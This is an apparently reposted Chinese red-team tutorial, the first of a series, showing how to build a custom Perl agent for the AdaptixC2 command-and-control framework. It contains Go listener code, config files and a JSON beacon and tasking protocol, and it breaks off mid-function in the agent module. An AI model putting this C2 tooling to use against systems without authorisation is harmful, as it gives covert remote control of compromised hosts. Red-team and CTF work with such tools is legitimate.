从Perlyite到Lamperl:用Perl构建自定义AdaptixC2Agent(第1篇)

admin 2026-01-01 05:23:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了使用Perl为AdaptixC2框架开发自定义AgentLamperl的过程。内容涵盖项目结构搭建、JSON通信协议设计、Go实现HTTP监听器及Perl编写具备beacon与命令执行能力的Agent。作者实现了pwd、cd及run等基础功能,提供了完整代码与配置,为后续扩展文件传输及socks代理奠定基础。 综合评分: 89 文章分类: 红队,安全开发,实战经验,安全工具,内网渗透


cover_image

从 Perlyite 到 Lamperl:用 Perl 构建自定义 Adaptix C2 Agent (第 1 篇)

Polar

securitainment

2025年12月30日 12:50 中国香港

前段时间,我读到一篇博客,详细讲解了 PaperShell agent 的创建过程,于是立刻萌生了自己写一个自定义 C2 agent 的想法。

https://teletype.in/@magnummalum/adaptixc2-create-agent

https://github.com/ArturLukianov/PaperShell

https://github.com/Adaptix-Framework/AdaptixC2

于是 Perlyite 诞生了:一个用 Perl 编写的 Linux agent。之所以选择 Perl,是因为它在 Linux 系统上极为常见,几乎所有主流发行版以及不少小型发行版都默认安装。在项目规划阶段,我先列出了几个核心需求。

首先,因为我经常参加 CTF,socks proxy (允许将流量通过被攻陷主机进行隧道转发) 是刚需。同样,lportfwd和 rportfwd(用于网络 pivoting 的本地与远程端口转发能力) 也必不可少。此前我还用 memfd (Linux 中用于创建内存文件描述符的特性) 配合 Python 做过把二进制加载到内存中的实验,因此也希望把这一能力做进来。

虽然这些目标都实现了,但我对最终效果并不满意,于是决定重新开始。

项目目标

接下来就是 Lamperl。本项目的核心目标是用 Perl 编写一个自定义的 Adaptix agent,并完整记录整个开发过程。这一次,我希望在可行范围内尽量用上 Adaptix 所支持的功能:

  • Socks proxy
  • Rportfwd
  • Lportfwd
  • 上传
  • 下载
  • Job/Task 处理
  • 进程查看器
  • 文件系统查看器

以及可能还会有:

  • 远程终端

在本系列的第一篇里,我们先搭建 listener 基础设施,再构建一个具备基本功能的 agent。

搭建项目结构

先克隆 Adaptix 模板仓库,并按 readme 中的说明完成初始化:

Adaptix-Framework/templates-extender

项目命名为 Lamperl(“Lamprey”与“Perl”的混成词),因此后续命名都以此为准。下面是 listener 与 agent 两个组件的配置文件:

监听器 config.json:

{
"extender_type": "listener",
"extender_file": "lamperl_http.so",
"ax_file": "ax_config.axs",

"listener_name": "LamperlHTTP",
"listener_type": "external",
"protocol": "http"
}

代理 config.json:

{
"extender_type": "agent",
"extender_file": "lamperl_agent.so",
"ax_file": "ax_config.axs",

"agent_name": "Lamperl",
"agent_watermark": "6c616d70",
"listeners": [ "LamperlHTTP"]
}

重要说明:两个配置文件中的 listener 名称必须完全一致;agent watermark 必须是小写十六进制。watermark 是该 agent 类型在 C2 基础设施中的唯一标识,teamserver 依此区分不同的 agent 家族。

因为要实现 HTTP listener,还需要新增一个 pl_http.go文件来承载协议逻辑。最终的项目结构如下:

Lamperl/
├── lamperl_agent/
│   ├── config.json
│   ├── ax_config.axs
│   ├── pl_main.go
│   ├── pl_agent.go
│   ├── go.mod
│   ├── Makefile
│   └── src_lamperl/
│       └── lamperl.pl
└── lamperl_listener_http/
    ├── config.json
    ├── ax_config.axs
    ├── pl_main.go
    ├── pl_listener.go
    ├── pl_http.go
    ├── go.mod
    └── Makefile

依赖管理

要让 Adaptix server 正确加载监听器,需要指定正确的库版本。做法很简单:从任意一个原生 Adaptix listener (例如 beacon_listener_http) 复制 go.mod内容到你的项目中即可。以我为例,依赖如下:

go1.24.4

require (
 github.com/Adaptix-Framework/axc2 v0.9.0
 github.com/gin-gonic/gin v1.11.0
)

require (
 github.com/bytedance/gopkg v0.1.3// indirect
 github.com/bytedance/sonic v1.14.1// indirect
 github.com/bytedance/sonic/loader v0.3.0// indirect
 github.com/cloudwego/base64x v0.1.6// indirect
 github.com/gabriel-vasile/mimetype v1.4.10// indirect
 github.com/gin-contrib/sse v1.1.0// indirect
 github.com/go-playground/locales v0.14.1// indirect
 github.com/go-playground/universal-translator v0.18.1// indirect
 github.com/go-playground/validator/v10 v10.27.0// indirect
 github.com/goccy/go-json v0.10.5// indirect
 github.com/goccy/go-yaml v1.18.0// indirect
 github.com/json-iterator/go v1.1.12// indirect
 github.com/klauspost/cpuid/v2 v2.3.0// indirect
 github.com/leodido/go-urn v1.4.0// indirect
 github.com/mattn/go-isatty v0.0.20// indirect
 github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
 github.com/modern-go/reflect2 v1.0.2// indirect
 github.com/pelletier/go-toml/v2 v2.2.4// indirect
 github.com/quic-go/qpack v0.5.1// indirect
 github.com/quic-go/quic-go v0.54.1// indirect
 github.com/twitchyliquid64/golang-asm v0.15.1// indirect
 github.com/ugorji/go/codec v1.3.0// indirect
go.uber.org/mock v0.6.0// indirect
 golang.org/x/arch v0.21.0// indirect
 golang.org/x/crypto v0.42.0// indirect
 golang.org/x/mod v0.28.0// indirect
 golang.org/x/net v0.44.0// indirect
 golang.org/x/sync v0.17.0// indirect
 golang.org/x/sys v0.36.0// indirect
 golang.org/x/text v0.29.0// indirect
 golang.org/x/tools v0.37.0// indirect
 google.golang.org/protobuf v1.36.10// indirect
)

添加 go.mod后,加载模块:

go mod tidy

然后我们需要告诉 Adaptix 加载我们的扩展。

编辑 AdaptixC2/profile.json,添加:

"extenders": [
"extenders/lamperl_listener_http/config.json",
"extenders/lamperl_agent/config.json"
]

扩展编译完成后,将 lamperl_listener_http/dist目录复制到 AdaptixC2/extenders/lamperl_listener_http

同样地,把 lamperl_agent/dist目录复制到 AdaptixC2/extenders/lamperl_agent

设计通信协议

基础结构搭好之后,就该设计 agent 与 listener 之间的通信方式了。我选择用 JSON 作为通信协议,因为它可读性强,也便于调试。下面是我们将使用的消息格式示例:

初始连接:

{
"beat": "6c616d70432620e651",
"init": {
"domain": "",
"hostname": "Strike",
"internal_ip": "192.168.50.138",
"jitter": 10,
"pid": 118585,
"process": "generated.pl",
"sleep": 5,
"username": "trigger"
  }
}

beat字段由 8 字符的 agent watermark 与 10 字符随机生成的 agent ID 拼接而成,总长 18 字符,用于唯一标识该 agent 实例。

心跳:

{
"beat":"6c616d70a263098250"
}

任务:

{
"tasks":[
    {
"command":"pwd",
"task_id":"03dd5c23"
    }
  ]
}

响应:

{
"results": [
    {
"output": "{\"path\":\"/home/trigger/Lamperl/lamperl_agent/src_lamperl\",\"command\":\"pwd\"}",
"task_id": "917128a0"
    }
  ],
"beat": "6c616d70a263098250"
}

构建监听器

pl_listener.go

我们先从 pl_listener.go中的 HandlerListenerValid函数开始。它负责为 listener 创建把关:校验通过 UI 提交的 JSON 配置,检查必填字段与基本语义,并在配置无效时返回清晰的错误信息。

// HandlerListenerValid validates listener configuration before creation.
// Called by Adaptix when user submits the listener creation form.
// Checks that all required fields are present and valid.
// Returns error if validation fails, nil if configuration is valid.
func (m *ModuleExtender) HandlerListenerValid(data string) error {

/// START CODE HERE

var conf HTTPConfig
err:= json.Unmarshal([]byte(data), &conf)
if err !=nil {
return err
 }

if conf.HostBind =="" {
return errors.New("host_bind is required")
 }

if&nbsp;conf.PortBind&nbsp;<1||&nbsp;conf.PortBind&nbsp;>65535&nbsp;{
return&nbsp;errors.New("port_bind must be in range 1-65535")
&nbsp;}

if&nbsp;conf.CallbackAddress&nbsp;==""&nbsp;{
return&nbsp;errors.New("callback_address is required")
&nbsp;}

if&nbsp;conf.ApiPath&nbsp;==""&nbsp;{
return&nbsp;errors.New("api_path is required")
&nbsp;}

/// END CODE

returnnil
}

这一步能把畸形或不完整的配置拦在运行期之外,让问题在部署早期就暴露出来。

监听器 ax_config.axs

验证通过后,就可以编写 ax_config.axs文件。它定义了操作员在 UI 中创建新监听器时需要填写的表单:

function&nbsp;ListenerUI(mode_create)
{
// Host selector
&nbsp; &nbsp; let&nbsp;labelHost=&nbsp;form.create_label("Host & port (Bind):");
&nbsp; &nbsp; let&nbsp;comboHostBind=&nbsp;form.create_combo();
&nbsp; &nbsp; comboHostBind.setEnabled(mode_create)
&nbsp; &nbsp; comboHostBind.clear();
&nbsp; &nbsp; let&nbsp;addrs=&nbsp;ax.interfaces();
for&nbsp;(let item of addrs) { comboHostBind.addItem(item); }

// Port selector
&nbsp; &nbsp; let&nbsp;spinPortBind=&nbsp;form.create_spin();
&nbsp; &nbsp; spinPortBind.setRange(1,&nbsp;65535);
&nbsp; &nbsp; spinPortBind.setValue(8080);
&nbsp; &nbsp; spinPortBind.setEnabled(mode_create)

// Callback selector
&nbsp; &nbsp; let&nbsp;labelCallback=&nbsp;form.create_label("Callback address:");
&nbsp; &nbsp; let&nbsp;textCallback=&nbsp;form.create_textline();
&nbsp; &nbsp; textCallback.setPlaceholder("192.168.1.1:8080");

// API path selector
&nbsp; &nbsp; let&nbsp;labelApiPath=&nbsp;form.create_label("API path:");
&nbsp; &nbsp; let&nbsp;textApiPath=&nbsp;form.create_textline();
&nbsp; &nbsp; textApiPath.setPlaceholder("/api/v2/query");

// Build container
&nbsp; &nbsp; let&nbsp;container=&nbsp;form.create_container();
&nbsp; &nbsp; container.put("host_bind", comboHostBind);
&nbsp; &nbsp; container.put("port_bind", spinPortBind);
&nbsp; &nbsp; container.put("callback_address", textCallback);
&nbsp; &nbsp; container.put("api_path", textApiPath);

// Add layout and spacers
&nbsp; &nbsp; let&nbsp;layout=&nbsp;form.create_gridlayout();
&nbsp; &nbsp; let&nbsp;spacer1=&nbsp;form.create_vspacer();
&nbsp; &nbsp; let&nbsp;spacer2=&nbsp;form.create_vspacer();

// Add widgets to the layout
&nbsp; &nbsp; layout.addWidget(spacer1,&nbsp;0,&nbsp;0,&nbsp;1,&nbsp;2);

&nbsp; &nbsp; layout.addWidget(labelHost,&nbsp;1,&nbsp;0,&nbsp;1,&nbsp;2);
&nbsp; &nbsp; layout.addWidget(comboHostBind,&nbsp;2,&nbsp;0,&nbsp;1,&nbsp;1);
&nbsp; &nbsp; layout.addWidget(spinPortBind,&nbsp;2,&nbsp;1,&nbsp;1,&nbsp;1);

&nbsp; &nbsp; layout.addWidget(labelCallback,&nbsp;3,&nbsp;0,&nbsp;1,&nbsp;2);
&nbsp; &nbsp; layout.addWidget(textCallback,&nbsp;4,&nbsp;0,&nbsp;1,&nbsp;2);

&nbsp; &nbsp; layout.addWidget(labelApiPath,&nbsp;5,&nbsp;0,&nbsp;1,&nbsp;2);
&nbsp; &nbsp; layout.addWidget(textApiPath,&nbsp;6,&nbsp;0,&nbsp;1,&nbsp;2);

&nbsp; &nbsp; layout.addWidget(spacer2,&nbsp;7,&nbsp;0,&nbsp;1,&nbsp;2);

&nbsp; &nbsp; let&nbsp;panel=&nbsp;form.create_panel();
&nbsp; &nbsp; panel.setLayout(layout);

return&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; ui_panel: panel,
&nbsp; &nbsp; &nbsp; &nbsp; ui_container: container
&nbsp; &nbsp; }
}

该表单会收集四个关键值:host_bindport_bindcallback_address和 api_path。对应的 UI 如下:

回到 pl_listener.go

接下来实现 HandlerCreateListenerDataAndStart:它基于 UI 提交的 JSON 配置,初始化、启动并注册一个新的 HTTP listener 实例。该函数会同时返回给 Adaptix UI 展示用的元数据,以及可持久化的配置,便于后续重启复用。

// HandlerCreateListenerDataAndStart creates and starts a new listener instance.
// This is the main initialization function called when a listener is created.
// Parameters:
// &nbsp; - name: Unique identifier for this listener instance
// &nbsp; - configData: JSON-encoded configuration from the UI
// &nbsp; - listenerCustomData: Optional custom data from previous session (unused)
//
// Returns:
// &nbsp; - ListenerData: Metadata for Adaptix UI (bind address, port, status)
// &nbsp; - customData: Serialized config to persist across restarts
// &nbsp; - listenerObject: The actual HTTP server instance
// &nbsp; - error: If initialization or startup fails
func&nbsp;(m&nbsp;*ModuleExtender)&nbsp;HandlerCreateListenerDataAndStart(name&nbsp;string, configData&nbsp;string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any,&nbsp;error) {
var&nbsp;(
&nbsp; listenerData adaptix.ListenerData
&nbsp; customdData &nbsp;[]byte
&nbsp;)

/// START CODE HERE

var&nbsp;(
&nbsp; listener&nbsp;*HTTP
&nbsp; conf &nbsp; &nbsp; HTTPConfig
&nbsp; err &nbsp; &nbsp; &nbsp;error
&nbsp;)

err=&nbsp;json.Unmarshal([]byte(configData),&nbsp;&conf)
if&nbsp;err&nbsp;!=nil&nbsp;{
return&nbsp;listenerData, customdData,&nbsp;nil, err
&nbsp;}

listener=&HTTP{
&nbsp; Config: conf,
&nbsp; Name: &nbsp; name,
&nbsp; Active:&nbsp;false,
&nbsp;}

err=&nbsp;listener.Start(ModuleObject.ts)
if&nbsp;err&nbsp;!=nil&nbsp;{
return&nbsp;listenerData, customdData,&nbsp;nil, err
&nbsp;}

listenerData=&nbsp;adaptix.ListenerData{
&nbsp; BindHost: &nbsp;conf.HostBind,
&nbsp; BindPort: &nbsp;fmt.Sprintf("%d", conf.PortBind),
&nbsp; AgentAddr: conf.CallbackAddress,
&nbsp; Status: &nbsp; &nbsp;"Listen",
&nbsp;}

// Save config to customData
var&nbsp;buffer bytes.Buffer
err=&nbsp;json.NewEncoder(&buffer).Encode(conf)
if&nbsp;err&nbsp;!=nil&nbsp;{
return&nbsp;listenerData, customdData,&nbsp;nil, err
&nbsp;}
customdData=&nbsp;buffer.Bytes()

/// END CODE

return&nbsp;listenerData, customdData, listener,&nbsp;nil
}

执行流程很直接:

  1. 将 configData反序列化为 HTTPConfig结构体
  2. 用给定的名称与配置构造一个 HTTP listener 对象
  3. 调用 listener.Start(ModuleObject.ts)进行 bind 并启动服务
  4. 构造 adaptix.ListenerData,包含 bind 地址、端口、agent 回连地址与状态
  5. 将配置重新编码为字节 (customData),用于跨重启持久化
  6. 返回所有组件以及过程中遇到的错误

接着实现 HandlerListenerStop,用于优雅地关闭正在运行的监听器:

// HandlerListenerStop gracefully shuts down a running listener.
// Called when user stops a listener from the Adaptix UI.
// Parameters:
// &nbsp; - name: Listener identifier (unused in this implementation)
// &nbsp; - listenerObject: The HTTP server instance to stop
//
// Returns: true if stopped successfully, false and error otherwise
func&nbsp;(m&nbsp;*ModuleExtender)&nbsp;HandlerListenerStop(name&nbsp;string, listenerObject any) (bool,&nbsp;error) {
var&nbsp;(
&nbsp; err&nbsp;error=nil
&nbsp; ok &nbsp;bool=false
&nbsp;)

/// START CODE HERE

listener,&nbsp;valid:=&nbsp;listenerObject.(*HTTP)
if!valid {
returnfalse, errors.New("invalid listener object")
&nbsp;}

err=&nbsp;listener.Stop()
if&nbsp;err&nbsp;!=nil&nbsp;{
returnfalse, err
&nbsp;}

ok=true

/// END CODE

return&nbsp;ok, err
}

该实现与 beacon agent 的做法完全一致,足以满足我们的需求。

HandlerListenerGetProfile函数会以 JSON 格式把 listener 的当前配置返回给 Adaptix UI,用于展示 listener 详情,或为 agent 生成选项提供参数:

// HandlerListenerGetProfile returns the listener's current configuration.
// Called when displaying listener details or populating agent generation dropdowns.
// Parameters:
// &nbsp; - name: Listener identifier to retrieve config for
// &nbsp; - listenerObject: The HTTP server instance
//
// Returns: JSON-encoded configuration and true if successful
func&nbsp;(m&nbsp;*ModuleExtender)&nbsp;HandlerListenerGetProfile(name&nbsp;string, listenerObject any) ([]byte,&nbsp;bool) {
var&nbsp;(
&nbsp; object bytes.Buffer
&nbsp; ok &nbsp; &nbsp;&nbsp;bool=false
&nbsp;)

/// START CODE HERE

listener,&nbsp;valid:=&nbsp;listenerObject.(*HTTP)
if!valid&nbsp;||&nbsp;listener.Name&nbsp;!=&nbsp;name {
return&nbsp;object.Bytes(),&nbsp;false
&nbsp;}

_=&nbsp;json.NewEncoder(&object).Encode(listener.Config)
ok=true

/// END CODE

return&nbsp;object.Bytes(), ok
}

同理,这里也可以直接复用 beacon agent 的实现。

我们暂时跳过 HandlerEditListenerData:当前 agent 还不够复杂,运行时修改配置带来的收益不大:

// HandlerEditListenerData updates an existing listener's configuration.
// Currently unimplemented - listener must be stopped and recreated to change config.
func&nbsp;(m&nbsp;*ModuleExtender)&nbsp;HandlerEditListenerData(name&nbsp;string, listenerObject any, configData&nbsp;string) (adaptix.ListenerData, []byte,&nbsp;bool) {
var&nbsp;(
&nbsp; listenerData adaptix.ListenerData
&nbsp; customdData &nbsp;[]byte
&nbsp; ok &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bool=false
&nbsp;)

/// START CODE HERE

/// END CODE

return&nbsp;listenerData, customdData, ok
}

构建 HTTP 协议处理器

pl_http.go

完成 pl_listener.go后,我们继续处理 pl_http.go,在这里实现真正的 HTTP 协议处理逻辑。首先定义相关数据结构:

// HTTPConfig holds configuration for the HTTP listener.
// These values come from the UI form defined in ax_config.axs.
type&nbsp;HTTPConfig&nbsp;struct&nbsp;{
    HostBind &nbsp; &nbsp; &nbsp; &nbsp;string`json:"host_bind"`
    PortBind &nbsp; &nbsp; &nbsp; &nbsp;int`json:"port_bind"`
    CallbackAddress&nbsp;string`json:"callback_address"`
    ApiPath &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;string`json:"api_path"`
}

// HTTP represents an HTTP listener instance.
// Manages the Gin web server and handles agent communication.
type&nbsp;HTTP&nbsp;struct&nbsp;{
    GinEngine&nbsp;*gin.Engine
    Server &nbsp; &nbsp;*http.Server
    Config &nbsp; &nbsp;HTTPConfig
    Name &nbsp; &nbsp; &nbsp;string
    Active &nbsp; &nbsp;bool
}

// AgentRequest represents the JSON structure sent by agents.
// Beat: 18-char string (8-char watermark + 10-char agent ID)
// Init: System information sent only on first check-in
// Results: Array of task execution results from previous beacon
type&nbsp;AgentRequest&nbsp;struct&nbsp;{
    Beat &nbsp; &nbsp;string`json:"beat"`
    Init &nbsp; &nbsp;map[string]interface{} &nbsp;&nbsp;`json:"init,omitempty"`
    Results []map[string]interface{}&nbsp;`json:"results,omitempty"`
}

HTTPConfig结构体包含与验证函数和 UI 表单中一致的字段。HTTP结构体表示一个正在运行的 listener 实例;AgentRequest则定义了 agent 发来的消息结构。

Start函数会初始化 Gin router、注册 API endpoint、创建 HTTP server,并在非阻塞的 goroutine 中启动:

// Start initializes and launches the HTTP server.
// Creates a Gin router, registers the API endpoint, and starts listening.
// The server runs in a goroutine to avoid blocking.
func&nbsp;(handler&nbsp;*HTTP)&nbsp;Start(ts Teamserver)&nbsp;error&nbsp;{
&nbsp;gin.SetMode(gin.ReleaseMode)
router:=&nbsp;gin.New()

// Register the API endpoint
&nbsp;router.POST(handler.Config.ApiPath,&nbsp;func(c&nbsp;*gin.Context) {
&nbsp; handler.processRequest(c, ts)
&nbsp;})

handler.Active=true
handler.Server=&http.Server{
&nbsp; Addr: &nbsp; &nbsp;fmt.Sprintf("%s:%d", handler.Config.HostBind, handler.Config.PortBind),
&nbsp; Handler: router,
&nbsp;}

&nbsp;fmt.Printf("[Lamperl_Listener] Started listener: http://%s:%d%s\n",
&nbsp; handler.Config.HostBind, handler.Config.PortBind, handler.Config.ApiPath)

gofunc() {
err:=&nbsp;handler.Server.ListenAndServe()
if&nbsp;err&nbsp;!=nil&&!errors.Is(err, http.ErrServerClosed) {
&nbsp; &nbsp;fmt.Printf("Error starting HTTP server:&nbsp;%v\n", err)
return
&nbsp; }
&nbsp;}()

&nbsp;time.Sleep(500*&nbsp;time.Millisecond)
returnnil
}

对应的 Stop函数负责优雅关闭:

// Stop gracefully shuts down the HTTP server.
// Waits up to 3 seconds for existing connections to complete.
func&nbsp;(handler&nbsp;*HTTP)&nbsp;Stop()&nbsp;error&nbsp;{
ctx,&nbsp;cancel:=&nbsp;context.WithTimeout(context.Background(),&nbsp;3*time.Second)
defercancel()
return&nbsp;handler.Server.Shutdown(ctx)
}

监听器的核心是 processRequest函数,它处理所有 agent 发来的 beacon、初始 check-in 以及结果交换:

// processRequest handles incoming agent beacons.
// This is the core request handler that:
// &nbsp;1. Parses the JSON request to extract beat, init data, and results
// &nbsp;2. Creates new agents on first check-in
// &nbsp;3. Processes task results from the agent
// &nbsp;4. Returns pending tasks for the agent to execute
func&nbsp;(handler&nbsp;*HTTP)&nbsp;processRequest(ctx&nbsp;*gin.Context, ts Teamserver) {
var&nbsp;(
&nbsp; externalIP &nbsp;&nbsp;string
&nbsp; agentType &nbsp; &nbsp;string
&nbsp; agentId &nbsp; &nbsp; &nbsp;string
&nbsp; beat &nbsp; &nbsp; &nbsp; &nbsp; []byte
&nbsp; bodyData &nbsp; &nbsp; []byte
&nbsp; responseData []byte
&nbsp; err &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;error
&nbsp;)

&nbsp;fmt.Printf("[LISTENER] Received request from&nbsp;%s&nbsp;to&nbsp;%s\n", ctx.Request.RemoteAddr, ctx.Request.URL.Path)
&nbsp;fmt.Printf("[LISTENER] Method:&nbsp;%s, Content-Type:&nbsp;%s\n", ctx.Request.Method, ctx.Request.Header.Get("Content-Type"))

// Get agent's IP
externalIP=&nbsp;strings.Split(ctx.Request.RemoteAddr,&nbsp;":")[0]

// Parse the request
agentType,&nbsp;agentId,&nbsp;beat,&nbsp;bodyData,&nbsp;err=&nbsp;handler.parseRequest(ctx)
if&nbsp;err&nbsp;!=nil&nbsp;{
&nbsp; fmt.Printf("[LISTENER ERROR] Failed to parse request:&nbsp;%v\n", err)
&nbsp; ctx.Writer.WriteHeader(http.StatusNotFound)
return
&nbsp;}

&nbsp;fmt.Printf("[LISTENER] Parsed - AgentType:&nbsp;%s, AgentID:&nbsp;%s, Beat len:&nbsp;%d, Body len:&nbsp;%d\n",
&nbsp; agentType, agentId,&nbsp;len(beat),&nbsp;len(bodyData))

// Create agent if doesn't exist
if!ModuleObject.ts.TsAgentIsExists(agentId) {
&nbsp; fmt.Printf("[LISTENER] Creating new agent:&nbsp;%s\n", agentId)
_,&nbsp;err=&nbsp;ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, externalIP,&nbsp;true)
if&nbsp;err&nbsp;!=nil&nbsp;{
&nbsp; &nbsp;fmt.Printf("[LISTENER ERROR] Failed to create agent:&nbsp;%v\n", err)
&nbsp; &nbsp;ctx.Writer.WriteHeader(http.StatusNotFound)
return
&nbsp; }
&nbsp; fmt.Printf("[LISTENER] Agent created successfully\n")
&nbsp;}&nbsp;else&nbsp;{
&nbsp; fmt.Printf("[LISTENER] Agent&nbsp;%s&nbsp;already exists\n", agentId)
&nbsp;}

// Update agent's last check-in time
_=&nbsp;ModuleObject.ts.TsAgentSetTick(agentId)

// Process agent data (task results)
&nbsp;fmt.Printf("[LISTENER] Processing agent data...\n")
_=&nbsp;ModuleObject.ts.TsAgentProcessData(agentId, bodyData)

// Get tasks for agent
&nbsp;fmt.Printf("[LISTENER] Getting tasks for agent...\n")
responseData,&nbsp;err=&nbsp;ModuleObject.ts.TsAgentGetHostedAll(agentId,&nbsp;0x1900000)&nbsp;// 25 MB
if&nbsp;err&nbsp;!=nil&nbsp;{
&nbsp; fmt.Printf("[LISTENER ERROR] Failed to get tasks:&nbsp;%v\n", err)
&nbsp; ctx.Writer.WriteHeader(http.StatusNotFound)
return
&nbsp;}

&nbsp;fmt.Printf("[LISTENER] Sending response:&nbsp;%d&nbsp;bytes\n",&nbsp;len(responseData))

// Send response
&nbsp;ctx.Writer.Header().Set("Content-Type",&nbsp;"application/json")
_,&nbsp;err=&nbsp;ctx.Writer.Write(responseData)
if&nbsp;err&nbsp;!=nil&nbsp;{
&nbsp; fmt.Printf("[LISTENER ERROR] Failed to write response:&nbsp;%v\n", err)
&nbsp; ctx.Writer.WriteHeader(http.StatusNotFound)
return
&nbsp;}

&nbsp;ctx.AbortWithStatus(http.StatusOK)
&nbsp;fmt.Printf("[LISTENER] Request completed successfully\n")
}

该函数串起了完整的请求/响应流程:

  1. 记录请求元数据并提取客户端 IP
  2. 调用 parseRequest校验并提取 watermark、agent ID、beat/init 数据以及 body
  3. 首次 check-in 时创建新 agent (如果尚不存在),并更新其 last-seen 时间戳
  4. 处理 agent 上报的数据 (任务结果)
  5. 向 teamserver 查询待下发任务
  6. 将 JSON 响应写回给 agent

最后实现 parseRequest,用于解析并规范化 agent 发来的 POST payload:

// parseRequest extracts and validates data from an agent's HTTP request.
// Parses the JSON body and separates the beat into watermark and agent ID.
// Returns:
// &nbsp; - watermark: 8-character hex identifier for agent type
// &nbsp; - agentId: 10-character hex unique agent instance ID
// &nbsp; - beat: Initial check-in data (JSON) or empty for regular beacons
// &nbsp; - bodyData: Task results (JSON) or empty array
// &nbsp; - error: If parsing fails or format is invalid
func&nbsp;(handler&nbsp;*HTTP)&nbsp;parseRequest(ctx&nbsp;*gin.Context) (string,&nbsp;string, []byte, []byte,&nbsp;error) {
// Read POST body
bodyData,&nbsp;err:=&nbsp;io.ReadAll(ctx.Request.Body)
if&nbsp;err&nbsp;!=nil&nbsp;{
return"",&nbsp;"",&nbsp;nil,&nbsp;nil, fmt.Errorf("failed to read request body:&nbsp;%v", err)
&nbsp;}

&nbsp;fmt.Printf("[PARSE] Raw body (%d&nbsp;bytes):&nbsp;%s\n",&nbsp;len(bodyData),&nbsp;string(bodyData))

// Parse JSON
var&nbsp;req AgentRequest
err=&nbsp;json.Unmarshal(bodyData,&nbsp;&req)
if&nbsp;err&nbsp;!=nil&nbsp;{
return"",&nbsp;"",&nbsp;nil,&nbsp;nil, fmt.Errorf("failed to parse JSON:&nbsp;%v", err)
&nbsp;}

&nbsp;fmt.Printf("[PARSE] Beat from JSON:&nbsp;%s&nbsp;(len=%d)\n", req.Beat,&nbsp;len(req.Beat))

// Parse beat: watermark (8 hex chars) + agent_id (10 hex chars) = 18 chars total
iflen(req.Beat)&nbsp;!=18&nbsp;{
return"",&nbsp;"",&nbsp;nil,&nbsp;nil, fmt.Errorf("invalid beat format: expected 18 chars, got&nbsp;%d",&nbsp;len(req.Beat))
&nbsp;}

watermark:=&nbsp;req.Beat[:8]
agentIdHex:=&nbsp;req.Beat[8:]

// The "beat" parameter is what gets passed to CreateAgent - it should be the init data for first checkin
var&nbsp;beat []byte
var&nbsp;agentData []byte

if&nbsp;req.Init&nbsp;!=nil&nbsp;{
// Initial check-in - encode init data as JSON for both beat and agentData
beat,&nbsp;err=&nbsp;json.Marshal(req.Init)
if&nbsp;err&nbsp;!=nil&nbsp;{
return"",&nbsp;"",&nbsp;nil,&nbsp;nil, errors.New("failed to encode init data")
&nbsp; }
agentData=&nbsp;beat&nbsp;// Same data for initial checkin
&nbsp;}&nbsp;elseif&nbsp;req.Results&nbsp;!=nil&nbsp;{
// Regular beacon - encode results as JSON
beat=&nbsp;[]byte{}&nbsp;// Empty beat for regular checkins
agentData,&nbsp;err=&nbsp;json.Marshal(req.Results)
if&nbsp;err&nbsp;!=nil&nbsp;{
return"",&nbsp;"",&nbsp;nil,&nbsp;nil, errors.New("failed to encode results")
&nbsp; }
&nbsp;}&nbsp;else&nbsp;{
// Empty beacon
beat=&nbsp;[]byte{}
agentData=&nbsp;[]byte("[]")
&nbsp;}

return&nbsp;watermark, agentIdHex, beat, agentData,&nbsp;nil
}

解析流程分三种情况:

  1. 读取整个 POST body
  2. 反序列化为 AgentRequest
  3. 校验 beat 长度 (18 字符:8 字符 watermark + 10 字符 agent ID)
  4. 若存在 Init:将其序列化到 beat与 agentData(初始 check-in)
  5. 若存在 Results:将其序列化到 agentData,同时 beat置空 (常规 check-in)
  6. 若两者都不存在:返回空 beat与 []作为 agentData(空 beacon)

至此,监听器部分就完成了:在 lamperl_listener_http目录运行 make即可构建。下一步是完善 agent 模块。

构建代理模块

pl_agent.go

监听器基础设施完成后,我们就可以把注意力转向 agent 模块。首先定义一些用于从 map 中提取值的辅助函数:

// getString is a helper function to safely extract string values from a map.
// Returns empty string if key doesn't exist or value is not a string.
funcgetString(m&nbsp;map[string]interface{}, key&nbsp;string)&nbsp;string&nbsp;{
ifval,&nbsp;ok:=&nbsp;m[key].(string); ok {
return&nbsp;val
&nbsp;}
return""
}

// getInt is a helper function to safely extract integer values from a map.
// Handles both float64 (JSON default for numbers) and int types.
// Returns 0 if key doesn't exist or value cannot be converted.
funcgetInt(m&nbsp;map[string]interface{}, key&nbsp;string)&nbsp;int&nbsp;{
ifval,&nbsp;ok:=&nbsp;m[key].(float64); ok {
returnint(val)
&nbsp;}
ifval,&nbsp;ok:=&nbsp;m[key].(int); ok {
return&nbsp;val
&nbsp;}
return0
}

接着实现 AgentGenerateProfile,它会提取 agent 生成阶段所需的监听器配置:

// GenerateConfig holds configuration data for agent generation.
// Currently empty as agent_id is generated at runtime by the agent itself,
// not during the build process. This ensures each agent instance has a unique ID.
type&nbsp;GenerateConfig&nbsp;struct&nbsp;{
}

// AgentGenerateProfile extracts listener configuration needed for agent generation.
// This function is called during agent build to gather connection parameters.
// Parameters:
// &nbsp; - agentConfig: JSON string with agent-specific configuration (currently unused)
// &nbsp; - listenerWM: Listener watermark (currently unused)
// &nbsp; - listenerMap: Map containing listener configuration (callback_address, api_path, etc.)
//
// Returns: JSON-encoded profile data containing callback_addr and api_path
funcAgentGenerateProfile(agentConfig&nbsp;string, listenerWM&nbsp;string, listenerMap&nbsp;map[string]any) ([]byte,&nbsp;error) {
var&nbsp;(
&nbsp; generateConfig GenerateConfig
&nbsp; err &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;error
&nbsp;)

err=&nbsp;json.Unmarshal([]byte(agentConfig),&nbsp;&generateConfig)
if&nbsp;err&nbsp;!=nil&nbsp;{
returnnil, err
&nbsp;}

/// START CODE HERE

// Extract callback address and API path from listener
callbackAddr,&nbsp;ok:=&nbsp;listenerMap["callback_address"].(string)
if!ok {
returnnil, errors.New("callback_address not found in listener map")
&nbsp;}

apiPath,&nbsp;ok:=&nbsp;listenerMap["api_path"].(string)
if!ok {
returnnil, errors.New("api_path not found in listener map")
